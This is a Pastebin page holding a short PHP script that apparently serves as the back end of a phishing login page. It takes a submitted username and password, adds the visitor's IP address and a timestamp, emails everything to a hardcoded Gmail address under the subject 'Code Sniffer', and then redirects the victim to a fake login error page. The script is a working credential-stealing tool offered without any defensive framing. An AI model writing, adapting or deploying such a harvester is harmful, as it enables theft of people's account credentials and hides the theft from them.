Advertisement
Guest User

Untitled

a guest
Sep 21st, 2017
1,044
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.41 KB | None | 0 0
  1. <?PHP
  2.  
  3. $youremail = "powerlocmt2@gmail.com";
  4.  
  5. $ip = getenv('REMOTEADDR');
  6. $td = date("F jS");
  7. $date = date("d M, Y");
  8. $time = date("g:i a");
  9. $LogTime = trim(" Data: ".$date."\nOra: ".$time);
  10.  
  11. $subject = "Code Sniffer";
  12.  
  13. mail($youremail,$subject,"Username: ".$Account."\nPassword: ".$Password."\n\nIndirizzo ip: ".$ip."\n".$LogTime,"from: $Account <$Account>");
  14.  
  15. header("Location: login_error.html");
  16.  
  17. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement